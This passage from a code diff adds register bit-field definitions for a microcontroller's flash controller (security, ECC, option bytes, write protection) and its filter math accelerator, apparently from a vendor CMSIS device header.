FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0x7FUL << FLASH_SECCR_PNB_Pos) /*!< 0x000003F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x000FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0x7FUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0x7FUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0x7FUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0x7FUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0x7FUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0x7FUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0x7FUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0x7FUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0x7FUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0x7FUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0x7FUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0x7FUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0x7FUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0x7FUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 